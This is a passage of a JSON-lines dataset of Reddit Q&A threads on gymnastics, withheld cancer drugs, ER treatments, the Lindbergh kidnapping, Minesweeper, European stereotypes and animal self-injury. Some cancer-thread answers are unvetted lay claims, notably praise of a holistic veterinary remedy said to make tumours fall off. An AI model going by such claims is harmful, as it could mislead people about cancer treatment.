those, fighting was street-to-street, and the local population actively resisted.\n  * In the battle of Berlin, it took 2.5 million soldiers (with 6000 tanks, 7,500 aircraft and 41,000 artillery pieces) a month to take a city defended by a remanent of a once mighty force short of weapons, ammunition or supply, without sparing any regard to preserving civilians or infrastructure.\n  * The siege of Sarajevo lasted 1425 days, and arguably what saved Sarajevo was not the force of the arms within, but the attention of the media from without. If the Serbian army had tried to do to Sarajevo what the Red Army did to Berlin, other countries might have been moved to action.\n\nI hope I've given you enough pointers, witout once mentioning anything after 1997.\n\nI'd like to add that the speed of modern warfare, like gen. Schwartzkopf's Hail Mary pass (and the attendant, very important, logistic feats) would have filled Montgomery, Patton and Eisenhower with admiration."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_current_events"], []]}
{"q_id": "xco1o", "title": "why do gymnasts constantly have to raise one or both of their hands during routines?", "selftext": "They do it a lot during floor exercise between their flips and before and after the other exercises that use equipment. Are they just saying \"ok, I'm about to do my performance\"?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xco1o/why_do_gymnasts_constantly_have_to_raise_one_or/", "answers": {"a_id": ["c5l7zyx", "c5l9dsh", "c5lbe3a", "c5lg675", "c5lg7dl"], "score": [53, 12, 21, 2, 2], "text": ["Yes, they raise one hand once to signal to the judges that they are ready.\nOther times they raise their arms to signify the end of the jump/trick, and this doubles as a balancing technique.\nIt's kind of a gymnastics traditional thing", "Its also once you raise your hands its like and official \"finish\" to the trick and they have a specific timer as to when you have to start your routine.", "My dad once told me that it's to show everyone how fabulous that routine was. ", "posing like that with both hands in the air signals the end of a trick, and that they have control of their posture/poise, in the same way that someone in a jump event (ie vault) \"sticks\" the landing by landing squarely on both feet and raising both arms, to show that they've got their shit on lock", "Most of events are timed, and they lose points if they go over.\n\nRaising their hand at the beginning says they are ready for the clock to start.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "jesn0", "title": "Are unprofitable but effective cancer drugs really being withheld from the public?", "selftext": "I have been hearing more and more about drugs that effectively treat cancer but are not being supported by pharmaceutical companies because they can't make a profit on them.\n\nFor example, I have heard of dichloroacetate (DCA) and hydrazine sulfate (HS) but since they are apparently common or cheap, study funding is hard to come by.\n\nIs there any truth to this or is it just media hype?\n\n**edit**: I understand that most companies are above-board and want  to help people as well as make money.  Don't forget about [Bayer's greed](_URL_0_) though.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jesn0/are_unprofitable_but_effective_cancer_drugs/", "answers": {"a_id": ["c2bhxta", "c2bi18q", "c2bi4o3", "c2biibg", "c2biig3", "c2bit4a", "c2bithm", "c2biude", "c2bixg0", "c2bj819", "c2bjld5", "c2bjqth", "c2bjv9s", "c2bjwcr", "c2bktgp", "c2bm74c", "c2bhxta", "c2bi18q", "c2bi4o3", "c2biibg", "c2biig3", "c2bit4a", "c2bithm", "c2biude", "c2bixg0", "c2bj819", "c2bjld5", "c2bjqth", "c2bjv9s", "c2bjwcr", "c2bktgp", "c2bm74c"], "score": [232, 11, 67, 127, 9, 6, 7, 2, 9, 2, 3, 2, 8, 4, 2, 4, 232, 11, 67, 127, 9, 6, 7, 2, 9, 2, 3, 2, 8, 4, 2, 4], "text": ["No, it's media hype and conspiracy theorists.  [DCA](_URL_0_) and [HS](_URL_1_) (Read about halfway down for the info on HS**).**\n\nEdit: Closed parens for tHeSiD. ", "This is pure speculation, but I believe this is just media hype:\n\nThere is no way of knowing what has and has not been funded, but I know for certain that no self-respecting scientist would allow a potential cancer cure to be dismissed because of pharmaceutical funding. There are plenty of other funding avenues for researches to employ in order to fund their research. There are too many lives at stake for any human being to let a cure fade into history.\n\nI may just be naive, but I believe morality would win out over profit.", "Let's look at how a drug goes from the benchtop to the clinic.  This is just a general pathway, and may not represent every drug.\n\n1.) *in vitro* experiments are done - this is where you introduce the drug to cells in a petri dish.  Note that \"X Drug kills cancer cells\" is not sufficient.  Bleach kills cancer cells pretty well, too.  You show that, in this simple system, the drug preferentially kills cancer cells instead of normal cells.\n\n2.) *in vivo* experiments - usually in a mouse model.  You graft cancer cells onto a mouse's leg, and a tumor grows.  Then you treat the mouse with your drug, and show that it has some beneficial effect.  The easiest experiment is to show that your drug causes the tumor to grow slower.  You can do this in a few weeks/months, and compare it to other treatments (drugs, radiation).  Or you could show that your drug extends the survival rate (6 month survival, 1 year survival).  This takes longer.\n\nSuccess! You have a promising cancer drug.  Now you have to get it through clinical trials for use in humans.  *This is the most important part*.  This keeps us from using dangerous or ineffective drugs on people.\n\n3.) Phase 1 trials - you give small doses of the drug to patients to establish the safety, tolerance,  and side effects.  Many drugs that are safe in mice can be unsafe in humans due to biological/biochemical differences.\n\n4.) Phase 2 trials - now you give therapeutic doses to human to establish the efficacy of the drug.  This assesses how much drug you should give (dosage) and how effective it is.\n\n5.) Phase 3 trials - now you compare your drug to existing treatments in order to establish whether or not this drug should be established as a standard of care.  You want to find a use where your drug *improves* treatment outcomes.\n\nThis is a long, involved, time consuming, but *necessary* process.  However, news of drugs in the pipeline frequently makes headlines.  So the answer to the question \"why can't I receive X drug that I've read about?\" is usually \"because it isn't ready for the clinic yet.\"\n\nPeople often say that \"drug companies won't market a cancer cure because they make more money treating cancer than curing it.\"  This argument doesn't hold water - any company which developed a miracle cure for cancer (which almost certainly doesn't exist) would make a fortune.", "The scientists involved in creating the drug would have to willingly hide a discovering that would make their career, win them a Nobel Prize and get their names in every history and medical textbook printed from that day on. You think a job at a drug company is worth that? No way.", "why would an effective cancer drug not be profitable? People would be willing to pay good money for treatment/cure.", "The only prominent example I'm aware of is [Bevacizumab (aka Avastin)](_URL_2_) in the UK. It's used in a variety of cancers, but the controversy was regarding its use in the treatment of late-stage bowel cancer. It is relatively effective and can prolong life for a month or so, however, I believe it costs something in the region of \u00a320,000 patient^-1 for the treatment. [This article from the BBC covers the story](_URL_1_). In the UK, NICE (National Institute for Health and Clinical Excellence), judges whether a drug is cost-effective by comparing its cost per patient per year against a standard cost (which I think is kidney dialysis treatment at \u00a310,000 [QALY^-1](_URL_0_)). \n\nObviously in an ideal world you would give everyone the drug, however, both physical and human resources are finite and one might argue: \"Why spend the money on prolonging someone's life for ~6 weeks when you could spend it providing treatment for a young child who has leukaemia?\"", "Think about it this way. A medical patent only lasts 17 years. The 17 years starts running from registration, not market entry, so must drugs have about 11-10 years on the market. You aren't going to cure every cancer in the world in 10 years before the bottom falls out of the market even if the drug cures cancer. Plus, even if you did cure all cancer new people get it all the time so you would have more people to treat. Lastly, since everyone would pay every last dollar they had to be cured from cancer your drug would make you an instantaneous gagillionaire.\n\nThat is my business take on this science question, even though you didn't ask for it.\n", "Imagine what would happen to a company if it were discovered that they actually had the cure for cancer and hid it.  Furthermore I would like to think that someone in the team that discovered it would blow the whistle.   ", "Shortchanging Cancer Patients\n_URL_0_", "How about chemicals that are too simple to patent? For example, trichloroethane?", "Sorry to be *that guy* but what about marijuana?\n\n\n_URL_0_", "If there was a drug that was 'effective' at treating cancer (in a way in which all currently available drugs are not) - do you really think the drug companies wouldn't be selling the shit out of it and jacking up the price to astronomical levels???  ", "Modern Mythology.  Same as the car engine that can get 300mpg that detroit bought up all the patents for and are sitting on, the Loch Ness monster, etc..\n\nWe don't have the mythology of the old days like Gods on mountains messing with and mating with common humans, those have been trashed by science and the modern age.  People like a good theory and myth, it makes life more interesting than if life was just what the facts are.  Conspiracy theorists are a result of this as well, a modern 1st world person has a very easy life to the past, comparatively, so to gain meaning they fill their worldview with dark hidden secrets that are out there to be vanquished and revealed.", "From a sheer business perspective, you can't sell drugs to dead people.  The company that made such a cancer cure would stand to make billions upon billions of dollars because cancer is more or less part of the human condition.  Even if the drug was as simple as table salt, the money to be made through investments by being 'that company' would be tremendous.  The public relations would also be stellar, 'Drugcompanyx:  We cured cancer and care for people'\n", "Some of the things you may have been hearing involve shortages of generic drugs. Profit margins on generics are incredibly thin and thus there are shortages all the time because companies want to be sure not to overproduce these drugs. So, proven therapies that are generic are not always available to patients because of a supply shortage. \n\nThis NYTimes op-ed might shed a little more light: _URL_0_", "It's not impossible.  Though not cancer-related, there's a [completely reversible male birth control method](_URL_0_) that costs less than the syringe used to administer it and it's having trouble finding footing in the US/CAN because of this.  I wouldn't be surprised at all if \"not enough revenue\" caused a drug to go unpursued in a more critical market.  \n\nThere is a fairly successful cancer treatment drug, neoplasene, used in the holistic veterinary community that has a rather excellent track record in regards to \"curing\" surface cancers that cannot be easily removed surgically.  An 8 week course of the drug is enough to cause even the largest face tumor to just fall off.  Taken internally, it's a way to manage cancer (not cure it) and it's quite successful at it in many cases, extending lives with quality.  Yet almost no vet uses it or has heard of it.  It's certainly less expensive than typical chemo or radiation treatments, or surgery, and that may play a part in its limited use.  It's lack of extensive clinical trials are more likely, though why this substance has not been pursued (cost, hazard?) is a mystery to me. ", "No, it's media hype and conspiracy theorists.  [DCA](_URL_0_) and [HS](_URL_1_) (Read about halfway down for the info on HS**).**\n\nEdit: Closed parens for tHeSiD. ", "This is pure speculation, but I believe this is just media hype:\n\nThere is no way of knowing what has and has not been funded, but I know for certain that no self-respecting scientist would allow a potential cancer cure to be dismissed because of pharmaceutical funding. There are plenty of other funding avenues for researches to employ in order to fund their research. There are too many lives at stake for any human being to let a cure fade into history.\n\nI may just be naive, but I believe morality would win out over profit.", "Let's look at how a drug goes from the benchtop to the clinic.  This is just a general pathway, and may not represent every drug.\n\n1.) *in vitro* experiments are done - this is where you introduce the drug to cells in a petri dish.  Note that \"X Drug kills cancer cells\" is not sufficient.  Bleach kills cancer cells pretty well, too.  You show that, in this simple system, the drug preferentially kills cancer cells instead of normal cells.\n\n2.) *in vivo* experiments - usually in a mouse model.  You graft cancer cells onto a mouse's leg, and a tumor grows.  Then you treat the mouse with your drug, and show that it has some beneficial effect.  The easiest experiment is to show that your drug causes the tumor to grow slower.  You can do this in a few weeks/months, and compare it to other treatments (drugs, radiation).  Or you could show that your drug extends the survival rate (6 month survival, 1 year survival).  This takes longer.\n\nSuccess! You have a promising cancer drug.  Now you have to get it through clinical trials for use in humans.  *This is the most important part*.  This keeps us from using dangerous or ineffective drugs on people.\n\n3.) Phase 1 trials - you give small doses of the drug to patients to establish the safety, tolerance,  and side effects.  Many drugs that are safe in mice can be unsafe in humans due to biological/biochemical differences.\n\n4.) Phase 2 trials - now you give therapeutic doses to human to establish the efficacy of the drug.  This assesses how much drug you should give (dosage) and how effective it is.\n\n5.) Phase 3 trials - now you compare your drug to existing treatments in order to establish whether or not this drug should be established as a standard of care.  You want to find a use where your drug *improves* treatment outcomes.\n\nThis is a long, involved, time consuming, but *necessary* process.  However, news of drugs in the pipeline frequently makes headlines.  So the answer to the question \"why can't I receive X drug that I've read about?\" is usually \"because it isn't ready for the clinic yet.\"\n\nPeople often say that \"drug companies won't market a cancer cure because they make more money treating cancer than curing it.\"  This argument doesn't hold water - any company which developed a miracle cure for cancer (which almost certainly doesn't exist) would make a fortune.", "The scientists involved in creating the drug would have to willingly hide a discovering that would make their career, win them a Nobel Prize and get their names in every history and medical textbook printed from that day on. You think a job at a drug company is worth that? No way.", "why would an effective cancer drug not be profitable? People would be willing to pay good money for treatment/cure.", "The only prominent example I'm aware of is [Bevacizumab (aka Avastin)](_URL_2_) in the UK. It's used in a variety of cancers, but the controversy was regarding its use in the treatment of late-stage bowel cancer. It is relatively effective and can prolong life for a month or so, however, I believe it costs something in the region of \u00a320,000 patient^-1 for the treatment. [This article from the BBC covers the story](_URL_1_). In the UK, NICE (National Institute for Health and Clinical Excellence), judges whether a drug is cost-effective by comparing its cost per patient per year against a standard cost (which I think is kidney dialysis treatment at \u00a310,000 [QALY^-1](_URL_0_)). \n\nObviously in an ideal world you would give everyone the drug, however, both physical and human resources are finite and one might argue: \"Why spend the money on prolonging someone's life for ~6 weeks when you could spend it providing treatment for a young child who has leukaemia?\"", "Think about it this way. A medical patent only lasts 17 years. The 17 years starts running from registration, not market entry, so must drugs have about 11-10 years on the market. You aren't going to cure every cancer in the world in 10 years before the bottom falls out of the market even if the drug cures cancer. Plus, even if you did cure all cancer new people get it all the time so you would have more people to treat. Lastly, since everyone would pay every last dollar they had to be cured from cancer your drug would make you an instantaneous gagillionaire.\n\nThat is my business take on this science question, even though you didn't ask for it.\n", "Imagine what would happen to a company if it were discovered that they actually had the cure for cancer and hid it.  Furthermore I would like to think that someone in the team that discovered it would blow the whistle.   ", "Shortchanging Cancer Patients\n_URL_0_", "How about chemicals that are too simple to patent? For example, trichloroethane?", "Sorry to be *that guy* but what about marijuana?\n\n\n_URL_0_", "If there was a drug that was 'effective' at treating cancer (in a way in which all currently available drugs are not) - do you really think the drug companies wouldn't be selling the shit out of it and jacking up the price to astronomical levels???  ", "Modern Mythology.  Same as the car engine that can get 300mpg that detroit bought up all the patents for and are sitting on, the Loch Ness monster, etc..\n\nWe don't have the mythology of the old days like Gods on mountains messing with and mating with common humans, those have been trashed by science and the modern age.  People like a good theory and myth, it makes life more interesting than if life was just what the facts are.  Conspiracy theorists are a result of this as well, a modern 1st world person has a very easy life to the past, comparatively, so to gain meaning they fill their worldview with dark hidden secrets that are out there to be vanquished and revealed.", "From a sheer business perspective, you can't sell drugs to dead people.  The company that made such a cancer cure would stand to make billions upon billions of dollars because cancer is more or less part of the human condition.  Even if the drug was as simple as table salt, the money to be made through investments by being 'that company' would be tremendous.  The public relations would also be stellar, 'Drugcompanyx:  We cured cancer and care for people'\n", "Some of the things you may have been hearing involve shortages of generic drugs. Profit margins on generics are incredibly thin and thus there are shortages all the time because companies want to be sure not to overproduce these drugs. So, proven therapies that are generic are not always available to patients because of a supply shortage. \n\nThis NYTimes op-ed might shed a little more light: _URL_0_", "It's not impossible.  Though not cancer-related, there's a [completely reversible male birth control method](_URL_0_) that costs less than the syringe used to administer it and it's having trouble finding footing in the US/CAN because of this.  I wouldn't be surprised at all if \"not enough revenue\" caused a drug to go unpursued in a more critical market.  \n\nThere is a fairly successful cancer treatment drug, neoplasene, used in the holistic veterinary community that has a rather excellent track record in regards to \"curing\" surface cancers that cannot be easily removed surgically.  An 8 week course of the drug is enough to cause even the largest face tumor to just fall off.  Taken internally, it's a way to manage cancer (not cure it) and it's quite successful at it in many cases, extending lives with quality.  Yet almost no vet uses it or has heard of it.  It's certainly less expensive than typical chemo or radiation treatments, or surgery, and that may play a part in its limited use.  It's lack of extensive clinical trials are more likely, though why this substance has not been pursued (cost, hazard?) is a mystery to me. "]}, "title_urls": [], "selftext_urls": ["http://www.naturalnews.com/News_000647_Bayer_vaccines_HIV.html"], "answers_urls": [["http://scienceblogs.com/terrasig/2010/05/dichloroacetate_dca_brain_canc.php", "http://md1.csa.com/partners/viewrecord.php?requester=gs&amp;collection=ENV&amp;recid=8342632&amp;q=hydrazine+sulfate%2C+cancer&amp;uid=790950930&amp;setcookie=yes"], [], [], [], [], ["http://en.wikipedia.org/wiki/QALY", "http://www.bbc.co.uk/news/health-11736595", "http://en.wikipedia.org/wiki/Avastin"], [], [], ["http://www.nytimes.com/2011/08/07/opinion/sunday/ezekiel-emanuel-cancer-patients.html?_r=1"], [], ["http://www.cancer.gov/cancertopics/pdq/cam/cannabis/healthprofessional/page4"], [], [], [], ["http://www.nytimes.com/2011/08/07/opinion/sunday/ezekiel-emanuel-cancer-patients.html?_r=1&amp;scp=3&amp;sq=cancer&amp;st=cse"], ["http://www.wired.com/magazine/2011/04/ff_vasectomy/"], ["http://scienceblogs.com/terrasig/2010/05/dichloroacetate_dca_brain_canc.php", "http://md1.csa.com/partners/viewrecord.php?requester=gs&amp;collection=ENV&amp;recid=8342632&amp;q=hydrazine+sulfate%2C+cancer&amp;uid=790950930&amp;setcookie=yes"], [], [], [], [], ["http://en.wikipedia.org/wiki/QALY", "http://www.bbc.co.uk/news/health-11736595", "http://en.wikipedia.org/wiki/Avastin"], [], [], ["http://www.nytimes.com/2011/08/07/opinion/sunday/ezekiel-emanuel-cancer-patients.html?_r=1"], [], ["http://www.cancer.gov/cancertopics/pdq/cam/cannabis/healthprofessional/page4"], [], [], [], ["http://www.nytimes.com/2011/08/07/opinion/sunday/ezekiel-emanuel-cancer-patients.html?_r=1&amp;scp=3&amp;sq=cancer&amp;st=cse"], ["http://www.wired.com/magazine/2011/04/ff_vasectomy/"]]}
{"q_id": "cjgdyz", "title": "why do emergency room doctors sometimes do treatments that are effective but outdated like myringotomy for ear infections or breaking a bone to heal a bone cyst? wouldn't they want to do the best thing available during emergencies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cjgdyz/eli5_why_do_emergency_room_doctors_sometimes_do/", "answers": {"a_id": ["evd5ua1", "evd6i2k", "evd87b4", "evdcs1t", "evdr3bp"], "score": [12, 15, 4, 2, 2], "text": ["Because.... Because they're effective. There's no reason to stop using a treatment if it's effective.", "It can usually be attributed to several things. Emergency room doctors needs to be experts in many fields of medicine. So staying up to date one the latest developments in every field can be very hard. They also do not have the comfort of being able to read up on a subject as they need to quickly administer the treatment. But even if they know about a treatment they may be more comfortable doing a treatment they have performed before and are more comfortable with.\n\nAs a rule of thumb the first responders are there to keep you alive until the ambulance arrives, the ambulance just needs to keep you alive to you get to the emergency room and the emergency room doctor is there to keep you alive until you can see a general practitioner. So as long as they can do anything, even if outdated, so that you will make your next doctors appointment they have done their job.", "The best thing available normally takes time, and specialized equipment or training. This is the exact opposite of what you want in an emergency situation. In such a situation time is one of the most valuable resources and so you go with what is effective over what is trendy/up to date.", "What is your alternative to myringotomy?", "If it works, it works. It is unnecessary to have this distaste for treatments which are coincidentally both violent and old. Sometimes, people hundreds of years ago got it right."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4t3ir3", "title": "why was the lindbergh baby kidnapping so well publicised?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4t3ir3/eli5_why_was_the_lindbergh_baby_kidnapping_so/", "answers": {"a_id": ["d5ec40b"], "score": [9], "text": ["Charles Lindbergh was insanely popular after he crossed the atlantic in a nonstop flight.  He may as well have walked on the moon by the standards of the time.  He was an American icon.  The disappearance of his child was heavily publicized because of how adored he was, how famous he was. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "r0eaz", "title": "minesweeper", "selftext": "I don't get it no matter how hard I try.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/r0eaz/eli5_minesweeper/", "answers": {"a_id": ["c41w9rh", "c41wc7b", "c41wibv", "c41yb21"], "score": [2, 11, 2, 3], "text": ["Yay! I am not alone any more! Ever since I got my first computer in 1994.....\n\n*tear* I love you guys.", "Minesweeper is a simple game once you get the hang of it. The basic challenge of the game is to mark all the mines and open the rest of the spots that are not mines. When you click the first time inside the minesweeper field, you open up a small area with numbers. Each number represents how many mines are in the adjacent 8 blocks around that mine. Your goal now is to mark the blocks that are mines by using these numbers as logic. You mark the mines with a right click, or you can mark them again with a right click to give them a question mark if you are not sure.\n\n[LINK](_URL_0_)\n\nThis site is a good tutorial on some of the logic you can use to determine which boxes are mines or not. One of the good rules of thumb is that unopened corner boxes are mines. The link shows more common patterns that you can find to reveal mines. Once all the mines are revealed and you have not clicked on any of them, you win!", "Basically, you have a board with several mines on it.  On the other spots, you have numbers.  The number indicates how many mines there are in the boxes besides it.  Using this info, you can figure out which spots have mines, and which do not.\n\nHere is a situation: (# = unknown box, M = mine)\n  \n   2 ## ##\n  \n   2 ## ##\n  \n   1 2 3 2 1\n\nLook at the bottom left, at the 1.  That means that there is one, and only on mine touching it.  Now, we know that the box on top and to the right does not have a mine, so the one of the top right has to have one.  In the game, when you think you found a mine, you right click to place a flag.\n\n   2 ## ##\n   \n   2 M# ##\n  \n   1 2 3 2 1\n\nNow, look at the 3, there are only three unknown boxes touching it, so they must all have mines.\n\n   2 ## ##\n  \n   2 MM M#\n   \n   1 2 3 2 1\n\nNow look at the bottom right 1, only one mine touching.  However, notice how it is already touching a mine (top left of the 1).  So that means that all the other squares besides do not have mines.  In this case, it's the top one, so you can click it.\n\n   2 ## ##\n   \n   2 MM M1\n   \n   1 2 3 2 1\n\nClicking on it reveals another 1.  Same as before, only one mine can touch it, and one already does on the left.  All the other tiles (the on top and top left of the new 1) don't have mines and so you can click them.\n\n  2 ## 2 1\n  \n  2 MM M1\n   \n  1 2 3 2 1\n\nClicking on those two boxes gave us another 1 and a 2.  There is already a mine touching the 1, so don't worry about it.  Now, the 2 is already touching two mines (bottom and bottom left), so the one box on the left cannot be a mine, so click it.\n\n   2 # 4 2 1\n   \n   2 MM M1\n   \n   1 2 3 2 1\n\nThe last one is a 4.  It already has three mines touching it, so the one box left (to the left) must be the fourth mine.  \n\n   2 M 4 2 1\n   \n   2 MM M1\n   \n   1 2 3 2 1\n\nTake notice how the mines and numbers all match up.  Every number properly shows how many mines are touching that space.\n\nThat's the basic strategy on how to play the game.  It takes some type to get used to it.  Once you understand this basic principle, then you can move on to more advanced tactics.\n\n\n\n", "ah, I remember the days when I had no idea how to play minesweeper.  The game actually breaks down into one mechanic, the numbers.  The number indicate how many squares around it have a mine in them.\n\nxxx\n\nx1x\n\nxxx\n\nmeans that of the 8 possible squares, there is only one mine.  When you have a situation like:\n\nxxx\n\n111\n\nxxx\n\nIt means that all three 1s share the same mine because each 1 space can have only ONE mine around it.  In this scenario, the mine would have to be in either the top middle or the bottom middle space (but not both).  It can't be in any of the corners because the middle 1 tells us that of the 6 possible spaces here there is only one mine.  But if there was a mine in the corner, then either the left or right 1 would not have a mine next to it, which doesn't follow the rules.\n\nanother situation:\n\n2x\n\n3x\n\n2x\n\nIn this scenario, all three x's are mines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.pcworld.com/article/238724/how_to_play_minesweeper_like_a_pro.html"], [], []]}
{"q_id": "29i2nw", "title": "Has the stereotypes of European countries always been pretty much the same?", "selftext": "Ex. Germans precise and dominating, the French lovers and bad at war, Or the English having bad teeth?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29i2nw/has_the_stereotypes_of_european_countries_always/", "answers": {"a_id": ["cilarna", "cilkfnw", "cilkpqs", "cil7ahl", "cil7o8f"], "score": [12, 7, 7, 23, 10], "text": ["Nope. Depends on the time  &  who's stereotyping whom. Here are a quick sample of posts that turned up when I searched \"stereotype\" to give you an idea. There are tons more out there about specific stereotypes (e.g. \"When did \"German engineering\" become a thing?\") or vague questions like \"How were x regarded by y\".\n\nAncient Greeks, Ancient Romans, \"Barbarians\"\n\n* [Did ancient civilizations stereotype each other?](_URL_9_)\n\n* [Did the Romans have stereotypes about the behavior of people from particular tribes or geographic areas?](_URL_1_)\n\n* [How did different \"barbaric\" groups perceive the Romans?](_URL_7_)\n\n* [What were the Roman stereotypes of the people around them?](_URL_10_)\n\nFrench\n\n* [I don't mean to cause offense, but where did the stereotype of the \"snooty\" Frenchman come from?](_URL_2_)\n\nBritish\n\n* [How old is the stereotype of British food being awful?](_URL_5_)\n\n* [Where did the stereotype that British engineering is poor come from?](_URL_3_)\n\nRussians\n\n* [When did the russian stereotypes began to appear and what did the world thought of Russia before the socialism.](_URL_8_)\n\nGermans\n\n* [When did the conventional view in western culture of Germans as cold/severe/harsh people arise?](_URL_0_)\n\nRedheads/gingers\n\n* [How far back does the stereotype that Celtic people are ginger or blond, go?](_URL_4_)\n\n* [Is there any historical reason for negative attitudes towards redheads?](_URL_6_)", "William of Malmesbury, an English historian in the 12th century, wrote a somewhat famous passage around 1120 on how all peoples of Europe answered the calling of the Pope for the first crusade where what appears to be stereotypes appear.\n\nHe writes: \"The Welshman left his hunting; the Scot his fellowship with lice; the Dane his drinking party; the Norwegian his raw fish.\"\n\nI don't know about English stereotypes of the Scot and the Welsh, but Danes are still known for their drinking and, at least in the Nordic countries, Norwegians are still known for an indulgent consumption of fish. What's more striking is the barbarization of the northmen, a stereotype I don't think has any presence in the modern world outside of nostalgic history.\n\nThe passage is cited from [this edition on Google Books](_URL_0_).", "In the context of economic history, a fairly longstanding claim has been that culture is a proximate determinant of development - cultures that value hard work, honesty, innovation and creativity will become rich and those that don't are destined to remain poor until their cultures change. David Landes' The Wealth and Poverty oF Nations is a good exemplar, though you could go back to the bastardized version of Weber's thesis on the Protestant work ethic if not further.\n\n[Ha-Joon Chang presents a number of very interesting counter-examples](_URL_0_) (link is to an excerpt from his book Bad Samaritans), focusing on Anglo-Saxon views of German and Japanese culture before they took off in the early/late nineteenth centuries. E.g., the British on Germany:\n\n >  Before their economic take-off in the mid-19th century, the Germans were typically described by the British as \u201ca dull and heavy people.\u201d \u201cIndolence\u201d was a word that was frequently associated with the Germanic nature.10 Mary Shelley, the author of Frankenstein, wrote in exasperation after a particularly frustrating altercation with her German coach-driver; \u201cthe Germans never hurry\u201d. It wasn\u2019t just the British. A French manufacturer who employed German workers complained that they \u201cwork as and when they please\u201d. \n\n >  The British considered the Germans also to be slow-witted. According to one John Russell, a travel-writer of the 1820s, the Germans were a \u201cplodding, easily contented people \u2026 endowed neither with great acuteness of perception nor quickness of feeling\u201d. In particular, according to Russell, they were not open to new ideas; \u201cit is long before [a German] can be brought to comprehend the bearings of what is new to him, and it is difficult to rouse him to ardour in its pursuit.\u201d. 13 No wonder that they were \u201cnot distinguished by enterprise or activity\u201d, as another mid-19th century British traveller remarked. \n\n >  Germans were also deemed to be too individualistic and unable to cooperate with each other. The Germans\u2019 inability to cooperate was, in the view of the British, most strongly manifested in the poor quality and maintenance of their public infrastructure, which was so bad that John McPherson, a Viceroy of India (and therefore quite used to treacherous road conditions), wrote, \u201cI found the roads so bad in Germany that I directed my course to Italy\u201d.\n\nWestern notions of the role of \"Confucian values\" in the take-off of the East Asian tigers and China have similarly changed dramatically in the last 30 years - see the chapter for more.", "Can I ask in what country is it a stereotype that the France are bad at war? It seems like one of the most counter-intuitive stereotypes ever.\n", "The question must be quite unanswerable, because always also implies the contries have always been the same. Germans haven't been a unified nation for that long, England have had quite segregated social groups (Saxons, normans ... the list goes on) during different times of history. Dental hygiene was overall bad everywhere during the middle ages.\n\nIf you specify your question you might get more answers. Do you mean during modern times?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1t9t8s/when_did_the_conventional_view_in_western_culture/", "http://www.reddit.com/r/AskHistorians/comments/1xiz9h/did_the_romans_have_stereotypes_about_the/", "http://www.reddit.com/r/AskHistorians/comments/26srx4/i_dont_mean_to_cause_offense_but_where_did_the/", "http://www.reddit.com/r/AskHistorians/comments/1j8twv/where_did_the_stereotype_that_british_engineering/", "http://www.reddit.com/r/AskHistorians/comments/1gxztn/how_far_back_does_the_stereotype_that_celtic/", "http://www.reddit.com/r/AskHistorians/comments/2599qz/how_old_is_the_stereotype_of_british_food_being/", "http://www.reddit.com/r/AskHistorians/comments/26g6u9/is_there_any_historical_reason_for_negative/", "http://www.reddit.com/r/AskHistorians/comments/yuld8/how_did_different_barbaric_groups_perceive_the/", "http://www.reddit.com/r/AskHistorians/comments/1tgzjt/when_did_the_russian_stereotypes_began_to_appear/", "http://www.reddit.com/r/AskHistorians/comments/1bqkzw/did_ancient_civilizations_stereotype_each_other/", "http://www.reddit.com/r/AskHistorians/comments/1rg5ap/what_were_the_roman_stereotypes_of_the_people/"], ["http://books.google.dk/books?id=EPlHAAAAMAAJ&amp;pg=PA364&amp;vq=%22This+ardent+love+not+only+inspired+the+continental+provinces,+but+even+all+who+had+heard+the+name+of+Christ,+whether%22&amp;source=gbs_quotes_r&amp;cad=6#v=onepage&amp;q=%22This%20ardent%20love%20not%20only%20inspired%20the%20continental%20provinces%2C%20but%20even%20all%20who%20had%20heard%20the%20name%20of%20Christ%2C%20whether%22&amp;f=false"], ["http://www.sed.manchester.ac.uk/research/events/conferences/povertyandcapital/chang.pdf"], [], []]}
{"q_id": "2t5brx", "title": "Are humans the only animals to practice self-mutilation for the sake of aesthetics or mental catharsis?", "selftext": "Some humans pierce their ears, lips, skin etc for aesthetic purposes. Also, some humans cut their wrists or their thighs when they are mentally unwell. Are any form of self-mutilation for the sake of aesthetics or anger redirection seen in any other animals?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2t5brx/are_humans_the_only_animals_to_practice/", "answers": {"a_id": ["cnw192e", "cnw41qj"], "score": [3, 4], "text": ["Not necessarily deliberately, but higly stressful situations may cause borderline obsessive [displacement activities](_URL_0_). For example, an animal that is prevented [species-typical behavior](_URL_1_) may resort to excessive grooming causing hair loss or even skin damage.", "I can't speak to animals self-mutilating for aesthetic reasons, but as a response to isolation, and stress, animals absolutely self-injure. Captive monkeys do, and it seems to be related to the amount of [stress](_URL_1_) they have been subjected to.\n\nThere is also some [reference](_URL_0_) to self-injury in rodents, but most of that literature deals with drug-induced self-injury, especially stimulant drugs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Displacement_activity", "http://en.wikipedia.org/wiki/Species-typical_behavior"], ["http://www.sciencedirect.com/science/article/pii/0091305782900521", "http://onlinelibrary.wiley.com/doi/10.1002/ajp.10075/abstract;jsessionid=8EF6EBB7F200120869FAC0DF37B0DB7B.f02t02"]]}
